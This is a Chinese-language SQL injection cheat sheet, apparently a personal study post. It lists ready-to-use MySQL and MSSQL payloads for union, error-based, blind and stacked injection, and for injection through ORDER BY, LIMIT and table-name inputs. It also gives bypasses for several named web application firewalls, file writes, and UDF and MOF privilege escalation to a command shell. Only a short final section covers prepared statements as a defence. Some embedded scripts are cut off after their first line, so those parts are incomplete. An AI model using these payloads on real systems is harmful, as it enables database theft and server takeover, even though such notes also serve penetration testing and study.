注入类型
Union Based
最基本的注入类型,以MySQL为例,假设有注入点:
1 | SELECT * FROM `test` |
0x01 判断注入点
若原先能够查询到数据:
1 | admin' and '1'='1'%23 #有数据 |
若原先查询不到数据:
1 | admin' or '1'='1'%23 #有数据 |
若为整数型
1 | 7 && 1=2 %23 |
0x02 查询共有多少字段
1 | a' UNION SELECT 1%23 |
…直到正常显示数据为止,或者:
1 | a' ORDER BY 1%23 |
…直到网页报错为止。
0x03 查询库
1 | a' union select SCHEMA_NAME,2,3,4,5 from information_schema.SCHEMATA %23 |
0x04 查询表
1 | a' union select TABLE_NAME,2,3,4,5 from information_schema.TABLES where TABLE_SCHEMA='test' limit 0,1 %23 #第一个表 |
0x05 查询字段
1 | a' union select COLUMN_NAME,2,3,4,5 from information_schema.COLUMNS where TABLE_NAME='test' limit 0,1 %23 #第一个字段 |
0x05 查询记录
1 | a' union select username,2,3,4,5 from test.test %23 |
关于注释
#
可以换成%23
--+
Error Based
若有错误回显的情况下可以使用mysql的一些函数,引发错误,mysql报错时会将函数参数的值返回,如:
常用的报错函数有:
updatexml()
updatexml(1,concat(0x7e,(select @@version),0x7e),1)
extractvalue()
extractvalue(1,concat(0x7e,version(),0x7e))
floor()
(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
geometrycollection() 、multipoint() 、polygon()、multipolygon()、linestring()、multilinestring() #5.5以上不适用
geometrycollection((select * from(select * from(select user())a)b))
exp() #5.5以上不适用
exp(~(select * from(select user())a));
Bool/Time Based (Blind Based)
Bool Based
若原先能够/不能查询到数据,那么若猜测字段正确,那么现在能够/不能查询数据。
若原先能够查询到数据:
1 | *' and length((database()))<8# |
若原先不能查询数据:
1 | *' or length((database()))<8# |
给出exp模板:
1 | #coding=UTF-8 |
Time Based
那么若猜测字段正确,那么现在延迟一段时间后再返回。
1 | *' or if(ascii(substring((database()),1,1))=116, sleep(100), 1); |
给出exp模板:
1 | import requests |
其他用到的函数/关键字
regexp binary
and password regexp binary ‘^A’#
mid() 同substr
MID(version(),1,1)
ord() 同ascii
堆叠注入
使用;
结束上一句查询语句后再执行另一条语句:
1 | SELECT * FROM test;select if(1=1,SLEEP(100),1); |
非where的注入点
order by注入点
Error Based
order by 1 and(updatexml(1,concat(0x7e,@@version,0x7e),0))
Time Based #5.5复现失败
order by if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
Bool Based
order by (select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00))
limit注入点
limit 1,1 procedure analyse(extractvalue(1,concat(0x7e,version(),0x7e)),1)
group by注入点
GROUP BY if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test));
table注入点
users where updatexml(1, concat(0x7e, (select user()), 0x7e), 1)#
desc注入点
desc不完全可控和table结合,需要保证desc成功,table报错,只有在desc和table只能有一个含”`”时能注入(都含有或都不含有则无解)1
2
3
4
5
6
7
8mysql_connect("localhost","root","xiaoyu");
mysql_query("use b2cshop");
$table = $_GET['table'];
mysql_query("desc `shop_{$table}`") or die("DESC 出错:".mysql_error()); //表名不完全可控
$sql = "select * from shop_{$table} where 1=1";
echo $sql;
var_dump(mysql_fetch_array(mysql_query("$sql")));
echo mysql_error();
1 | ?table=users` `where updatexml(1,concat(0x5e24,(select user()),0x5e24),1)# |
like 注入点
与where注入类似
1 | xxx' and '1'=updatexml(1,concat(0x7e,(select SCHEMA_NAME from information_schema.SCHEMATA limit 1,1),0x7e),1) --+ |
宽字节注入
产生原因
即使输入时使用了addslashes进行了过滤,但是MySQL的客户端字符集(character_set_client)设置为GBK、BIG5或其他,导致/
在解码时被跳脱,例如有如下程序:
1 | <!DOCTYPE html> |
payload为?name=admin%df%27%20union%20select%201,2%20%23
编码过程1' ==addslashes==> 1\' (1\x5c\x27)
1%df' ==addslashes==> 1%df\'(1\xdf\x5c\x27) ==encode(gbk)==> 1運'
#'
逃逸
iconv转换情况
gbk编码转换成utf8时,转换时也会引发错误:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<!DOCTYPE html>
<meta charset="gbk">
$conn=mysql_connect('127.0.0.1','root','root');
mysql_select_db("test",$conn);
$name=$_GET['name'];
mysql_query("set names UTF-8") ;
$bar =iconv("GBK","UTF-8", addslashes($name));
$sql="select * from test where username='".$name."'";
$result=mysql_query($sql,$conn);
if($result){
while ($row = mysql_fetch_assoc($result)) {
print_r($row);
}
} else {
echo "Error".mysql_error()."</br>";
}
payload为admin%e5%5c%27%20union%20select%201,2%20%23
(admin%e5\' union select 1,2 #
)
编码过程(由于\xe5\x5c
转为UTF-8为\xe9\x8c\xa6
):
%e5\' (\xe5\x5c\x27) ==addslashes==> %e5\\\' (\xe5\x5c\x5c\x5c\x27) ==iconv==> \xe9\x8c\xa6\x5c\x5c\x27
另外,若编码为BIG5时,payload为1兝\' => 1\xa2\x5c\x5c\x27 => 1?\\'
。
解决办法
换用utf8字符集
使用mysql_set_charset()设置字符集并且使用mysql_real_escape_string()转义,其会考虑当前字符集所以不会产生逃逸问题:
mysql_set_charset('gbk');$name=mysql_real_escape_string($name);
绕过
绕过字符
绕过空格
- %0a(
\r
)、%0b(\t
)、%a0(+)
- %0a(
绕过单引号
- 编码:Unicode(IIS支持)、Hex
- 函数:char
- 宽字节
- 数字型
绕过union
- 使用盲注
绕过and/or
- && / ||
substring()
- mid() left() right()
绕过小括号
?username=admin' and password binary regexp '^A'
绕过ngx_lua_waf
详细请参考Bypass ngx_lua_waf SQL注入防御(多姿势)
HTTP 参数污染(HPP)
1 | http://192.168.8.147/test/sql.aspx |
URI参数溢出
提交100个以上参数:1
2
3http://192.168.204.128/test.php
POST:id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1 union select 1,2,schema_name %0a/*!from*/information_schema.SCHEMATA
MSSQL1
2
3http://192.168.204.128/test.aspx
POST:id=1/*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*//*&id=1*/ union select null,table_name,null from INFOMATION_SCHEMA.tables
绕过360主机卫士
详细请参考Bypass 360主机卫士SQL注入防御(多姿势)
利用默认白名单
1 | /test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA |
利用静态资源
1 | /test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA |
缓冲区溢出
1 | id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select 1,2,schema_name from information_schema.SCHEMATA |
URI参数溢出
同ngx_lua_waf
GET+POST
提交POST请求时,忽略GET请求中的参数
1 | http://192.168.204.132/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns |
multipart/form-data
1 | ------WebKitFormBoundaryACZoaLJJzUwc4hYM |
内联注释
直接用fuzz脚本,结合注释、空格绕过和/*!*/
进行绕过:
1 | import requests |
绕过护卫神
%00截断
ASPX:
1 | /sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns |
PHP:
1 | /sql.php?id=1/*%00*/union select 1,schema_name,3 from information_schema.schemata |
Unicode编码
适用于IIS服务器1
http://192.168.204.132/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,column_name from information_schema.columns
HPP
ASPX中接受参数顺序为为GET,POST,COOKIE:
1 | http://192.168.204.132/sql.aspx?id=1 and 1=2 union/* |
%号
IIS+ASP中解析会去掉%:
1 | /sql.asp?id=1 and 1=2 un%ion select 1,2,column_name from information_schema.columns |
缓冲区溢出
同360的缓冲区溢出,(Select 0xA*49099)。
绕过安全狗
同360主机卫士的内联注释绕过
分块传输
详见HTTP协议复习分块传输部分
SQLMap Tamper写法
1 | from lib.core.enums import PRIORITY |
不同用户的权限
MySQL
普通用户有information_schema表的读权限,但没有mysql表的读权限
MSSQL
很复杂,详细看深秋之夜360面试有感
写文件
需要解除secure-file-priv=
1
2select '文件内容' into outfile '文件路径'
select '文件内容' into dumpfile '文件路径'
提权
用户自定义函数提权(UDF)
获取UDF.dll的hex编码
1 | select hex(load_file(%USER%\\Desktop\\udf.dll)) into dumpfile '%USER%\\Desktop\\udf.txt'; |
保存udf.dll到目标主机
若数据库版本为5.0以下将其保存到C:\Windows\
或C:\Windows\System32\
,否则保存到@@basedir\lib\plugin\
使用select 'xxx' into dumpfile 'C:/MySQL/lib/plugin/::$INDEX_ALLOCATION';
新建文件夹(这里我没成功,网上说确实不成功)
1 | CREATE TABLE Temp_udf(udf BLOB); |
使用用户函数提权
1 | create function cmdshell returns string soname 'udf.dll'; #此处不能填绝对路径 只能是dll名 |
mof提权
由于c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次,因此可以使用dumpfile将shell写入,然后由系统执行(有点像linux的crontab)
1 | #pragma namespace("\\\\.\\root\\subscription") |
上传之后用mysql写文件:
1 | select load_file('c:/www/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof' |
防御——使用预编译语句
预先编译sql,后面的注入语句只能做普通字符串查询,预编译语句不能用于orderby
SQL写法:
预编译
1
prepare ins from 'insert into t select ?,?';
执行
1
2
3set @a=999,@b='hello';
execute ins using @a,@b;
select * from t;释放
1
deallocate prepare ins;
三次交互:
Python写法,python并不支持MySQL的预编译语句(第三方库oursql支持),只是将字符串转义后放到数据库查询:
1 | cursor.execute('insert into user (name,password) value (%s,%s)',(name,password)) |
Java写法,需要开启预编译功能(useServerPrepStmts=true),程序与数据库3次交互prepare->execute->close stmt
1 | try { |
php写法
1 |
|
参考链接
十种MySQL报错注入,https://www.cnblogs.com/xishaonian/p/6102750.html
深入探究宽字节注入漏洞与修补原理,https://blog.csdn.net/qq_29419013/article/details/81205291
Bypass ngx_lua_waf SQL注入防御(多姿势),https://www.t00ls.net/articles-45736.html
Bypass 360主机卫士SQL注入防御(多姿势),https://www.t00ls.net/articles-45943.html
Bypass 护卫神SQL注入防御(多姿势),https://www.t00ls.net/articles-46165.html
深秋之夜360面试有感,https://paper.tuisec.win/detail/9146d3bd2335703